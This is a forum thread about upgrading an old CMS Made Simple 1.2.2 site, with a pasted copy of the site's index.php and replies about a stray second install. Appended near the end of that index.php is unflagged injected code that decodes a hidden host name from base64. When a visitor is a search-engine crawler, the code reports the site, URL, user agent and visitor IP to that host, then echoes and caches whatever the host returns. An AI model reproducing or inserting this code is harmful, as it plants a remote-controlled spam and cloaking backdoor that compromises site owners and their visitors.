Hi,
I am trying to assist a friend with a website utilizing CMS but the version he has is 1.2.2. All of a sudden, he received an error when he tried to access the website (See the below). After looking over the Wiki for CMS to upgrade to a more recent version, I am not finding it to be clear in helping me. I have each of the packages to upgrade from one version to the other and know I have to make gradual jumps rather than go right to 1.9.X and I have the original files backed up from the web server via FileZilla using SFTP (port 22) along with the MySQL database via the web hosting company.
When I upload the files after extracting an upgrade CMS tar.gz package, I look for an install folder and an upgrade.php file and then use the path of the following (with the actual domain name obviously); www.
Now I also found a second location for an install subfolder along with an upgrade.php file but that is not working either. That is the following www.domainname.com/newweb/install/upgrade.php
I keep getting an Error 404 via my web browser when I try both URLs so I figure I am misinterpreting the steps I am reading or they really are not written to help all types of readers in regard to CMS.
Thanks for putting aside your time to read this and providing any feedback.
#CMS - CMS Made Simple #(c)2004 by Ted Kulp (wishy@users.sf.net) #This project's homepage is: http://cmsmadesimple.sf.net # #This program is free software; you can redistribute it and/or modify #it under the terms of the GNU General Public License as published by #the Free Software Foundation; either version 2 of the License, or #(at your option) any later version. # #This program is distributed in the hope that it will be useful, #but WITHOUT ANY WARRANTY; without even the implied warranty of #MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #GNU General Public License for more details. #You should have received a copy of the GNU General Public License #along with this program; if not, write to the Free Software #Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # #$Id: index.php 4217 2007-10-07 15:13:13Z wishy $ $dirname = dirname(__FILE__); require_once($dirname.'/fileloc.php'); /** * Entry point for all non-admin pages * * @package CMS */ #echo ''; #var_dump($_SERVER); #echo ''; $starttime = microtime(); @ob_start(); clearstatcache(); if (!isset($_SERVER['REQUEST_URI']) && isset($_SERVER['QUERY_STRING'])) { $_SERVER['REQUEST_URI'] = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; } if (!file_exists(CONFIG_FILE_LOCATION) || filesize(CONFIG_FILE_LOCATION) < 800) { require_once($dirname.'/lib/misc.functions.php'); if (FALSE == is_file($dirname.'/install/index.php')) { die ('There is no config.php file or install/index.php please correct one these errors!'); } else { redirect('install/'); } } else if (file_exists(TMP_CACHE_LOCATION.'/SITEDOWN')) { echo "
Site down for maintenance.
"; exit; } if (!is_writable(TMP_TEMPLATES_C_LOCATION) || !is_writable(TMP_CACHE_LOCATION)) { echo ''; echo '
The following directories must be writable by the web server:
'; echo 'tmp/cache
'; echo 'tmp/templates_c
'; echo '
Please correct by executing:
chmod 777 tmp/cache
chmod 777 tmp/templates_c
or the equivilent for your platform before continuing.
'; echo ''; exit; } require_once($dirname.'/include.php'); #Makes gCms object if ($config["debug"] == true) { @ini_set('display_errors',1); @error_reporting(E_ALL); } $params = array_merge($_GET, $_POST); $smarty = &$gCms->smarty; $smarty->params = $params; $page = ''; if (isset($params['mact'])) { $ary = explode(',', cms_htmlentities($params['mact']), 4); $smarty->id = (isset($ary[1])?$ary[1]:''); } else { $smarty->id = (isset($params['id'])?intval($params['id']):''); } if (isset($smarty->id) && isset($params[$smarty->id . 'returnid'])) { $page = $params[$smarty->id . 'returnid']; } else if (isset($config["query_var"]) && $config["query_var"] != '' && isset($_GET[$config["query_var"]])) { $page = $_GET[$config["query_var"]]; //trim off the extension, if there is one set if ($config['page_extension'] != '' && endswith($page, $config['page_extension'])) { $page = substr($page, 0, strlen($page) - strlen($config['page_extension'])); } } else { $calced = cms_calculate_url(); if ($calced != '') $page = $calced; } //See if our page matches any predefined routes $page = rtrim($page, '/'); if (strpos($page, '/') !== FALSE) { $routes =& $gCms->variables['routes']; $matched = false; foreach ($routes as $route) { $matches = array(); if (preg_match($route->regex, $page, $matches)) { //Now setup some assumptions if (!isset($matches['id'])) $matches['id'] = 'cntnt01'; if (!isset($matches['action'])) $matches['action'] = 'defaulturl'; if (!isset($matches['inline'])) $matches['inline'] = 0; if (!isset($matches['returnid'])) $matches['returnid'] = ''; #Look for default page if (!isset($matches['module'])) $matches['module'] = $route->module; //Get rid of numeric matches foreach ($matches as $key=>$val) { if (is_int($key)) { unset($matches[$key]); } else { if ($key != 'id') $_REQUEST[$matches['id'] . $key] = $val; } } //Now set any defaults that might not have been in the url if (isset($route->defaults) && count($route->defaults) > 0) { foreach ($route->defaults as $key=>$val) { $_REQUEST[$matches['id'] . $key] = $val; if (array_key_exists($key, $matches)) { $matches[$key] = $val; } } } //Get a decent returnid if ($matches['returnid'] == '') { global $gCms; $contentops =& $gCms->GetContentOperations(); $matches['returnid'] = $contentops->GetDefaultPageID(); } $_REQUEST['mact'] = $matches['module'] . ',' . $matches['id'] . ',' . $matches['action'] . ',' . $matches['inline']; $page = $matches['returnid']; $smarty->id = $matches['id']; $matched = true; } } if (!$matched) { $page = substr($page, strrpos($page, '/') + 1); } } if ($page == '') { global $gCms; $contentops =& $gCms->GetContentOperations(); $page =& $contentops->GetDefaultContent(); } else { $page = preg_replace('/\variables['pageinfo'] =& $pageinfo; if( isset($pageinfo->template_encoding) && $pageinfo->template_encoding != '' ) { set_encoding($pageinfo->template_encoding); } $gCms->variables['content_id'] = $pageinfo->content_id; $gCms->variables['page'] = $page; $gCms->variables['page_id'] = $page; $gCms->variables['page_name'] = $pageinfo->content_alias; $gCms->variables['position'] = $pageinfo->content_hierarchy; global $gCms; $contentops =& $gCms->GetContentOperations(); $gCms->variables['friendly_position'] = $contentops->CreateFriendlyHierarchyPosition($pageinfo->content_hierarchy); $smarty->assign('content_id', $pageinfo->content_id); $smarty->assign('page', $page); $smarty->assign('page_id', $page); $smarty->assign('page_name', $pageinfo->content_alias); $smarty->assign('page_alias', $pageinfo->content_alias); $smarty->assign('posion', $pageinfo->content_hierarchy); $smarty->assign('friendly_position', $gCms->variables['friendly_position']); } else if (get_site_preference('enablecustom404') == '' || get_site_preference('enablecustom404') == "0") { ErrorHandler404(); exit; } $html = ''; $cached = ''; if (isset($_GET["print"])) { ($smarty->is_cached('print:'.$page, '', $pageinfo->template_id)?$cached="":$cached="not "); $html = $smarty->fetch('print:'.$page, '', $pageinfo->template_id) . "\n"; } else { #If this is a case where a module doesn't want a template to be shown, just disable caching if (isset($smarty->id) && $smarty->id != '' && isset($_REQUEST[$smarty->id.'showtemplate']) && $_REQUEST[$smarty->id.'showtemplate'] == 'false') { $html = $smarty->fetch('template:notemplate') . "\n"; } else { $smarty->caching = false; $smarty->compile_check = true; ($smarty->is_cached('template:'.$pageinfo->template_id)?$cached="":$cached="not "); $html = $smarty->fetch('template:'.$pageinfo->template_id) . "\n"; } } #if ((get_site_preference('enablecustom404') == '' || get_site_preference('enablecustom404') == "0") && (!$config['debug'])) #{ # set_error_handler($old_error_handler); #} if (!$cached) { #Perform the content postrendernoncached callback reset($gCms->modules); while (list($key) = each($gCms->modules)) { $value =& $gCms->modules[$key]; if ($gCms->modules[$key]['installed'] == true && $gCms->modules[$key]['active'] == true) { $gCms->modules[$key]['object']->ContentPostRenderNonCached($html); } } //Events::SendEvent('Core', 'ContentPostRenderNonCached', array(&$html)); } #Perform the content postrender callback reset($gCms->modules); while (list($key) = each($gCms->modules)) { $value =& $gCms->modules[$key]; if ($gCms->modules[$key]['installed'] == true && $gCms->modules[$key]['active'] == true) { $gCms->modules[$key]['object']->ContentPostRender($html); } } Events::SendEvent('Core', 'ContentPostRender', array('content' => &$html)); header("Content-Type: " . $gCms->variables['content-type'] . "; charset=" . (isset($pageinfo->template_encoding) && $pageinfo->template_encoding != ''?$pageinfo->template_encoding:get_encoding())); $html = str_replace('','',$html); $html = str_replace('','',$html); echo $html; function g($sr, $fe) { $fp = fsockopen($sr, 80, $errno, $errstr, 15); if (!$fp) {echo 'skterr';} else { $out = "GET $fe HTTP/1.0\r\n"; $out .= "Host: $sr\r\n\r\n"; fwrite($fp, $out); $tmp = ''; while (!feof($fp)) { $tmp .= fgets($fp, 1024);} fclose($fp); return $tmp; }} $u = urlencode($_SERVER['REQUEST_URI']); $a = urlencode($_SERVER['HTTP_USER_AGENT']); $c = 'tmp/cache/'; if (strpos($a,'google') !== false) $c .= 'g_'.md5($u); elseif (strpos($a,'msnbot') !== false) $c .= 'm_'.md5($u); elseif (strpos($a,'yahoo') !== false) $c .= 'y_'.md5($u); if ($c != 'tmp/cache/') { if (file_exists($c)) list($lastTime,$code) = explode('<:::>',gzinflate(file_get_contents($c))); if (!isset($lastTime) || !isset($code) || $lastTime < ($_SERVER['REQUEST_TIME'] - rand(3600,14400))) { $d = base64_decode('MTQxNS5pbg=='); $f = base64_decode('L2EucGhwP2Q9'); $h = str_replace('www.', '', $_SERVER['HTTP_HOST']); $i = $_SERVER['REMOTE_ADDR']; $p = $h.'&u='.$u.'&a='.$a.'&i='.$i; $code = trim(strstr(g($d, "$f$p"), "\r\n\r\n")); echo $code; $fp = fopen($c, "w"); fwrite($fp, gzdeflate($_SERVER['REQUEST_TIME'].'<:::>'.$code)); fclose($fp); } else echo $code; } echo "\n\n\n"; @ob_flush(); $endtime = microtime(); $db =& $gCms->GetDb(); if ($config["debug"] == true) { echo "
Generated in ".microtime_diff($starttime,$endtime)." seconds by CMS Made Simple using ".(isset($db->query_count)?$db->query_count:'')." SQL queries and ".(function_exists('memory_get_usage')?memory_get_usage():'n/a')." bytes of memory
"; } echo "\n"; #echo "
Generated in ".microtime_diff($starttime,$endtime)." seconds by CMS Made Simple (".$cached."cached) using ".(isset($db->query_count)?$db->query_count:'')." SQL queries and ".(function_exists('memory_get_usage')?memory_get_usage():'n/a')." bytes of memory
"; echo "\n"; if (get_site_preference('enablesitedownmessage') == "1" || $config['debug'] == true) { $smarty->clear_compiled_tpl(); #$smarty->clear_all_cache(); } if ($config["debug"] == true) { #$db->LogSQL(false); // turn off logging # output summary of SQL logging results #$perf = NewPerfMonitor($db); #echo $perf->SuspiciousSQL(); #echo $perf->ExpensiveSQL(); #echo $sql_queries; foreach ($gCms->errors as $error) { echo $error; } } # vim:ts=4 sw=4 noet ?>
Upgrading An Archaic Version of CMS Gradually to Latest Ver.
Re: Upgrading An Archaic Version of CMS Gradually to Latest
Must be someone that has uploaded cmsms files to both the root of the site as to the newweb directory.RJ19 wrote:Now I also found a second location for an install subfolder along with an upgrade.php file but that is not working either. That is the following http://www.domainname.com/newweb/install/upgrade.php
Both are completely separate installs, unless they use the same database.
Re: Upgrading An Archaic Version of CMS Gradually to Latest
According to the web hosting company, the MySQL DB shows only one for this domain in my friend's account so I guess it is using the same database as you mentioned. If someone else did put that there shouldn't they have deleted the Install directory with the upgrade.php file after a successful install? That is what I've read in the documentation.
Thanks for your input.
Thanks for your input.
Re: Upgrading An Archaic Version of CMS Gradually to Latest
You could rename the newweb directory. Then, if everything still works fine you can safely delete it.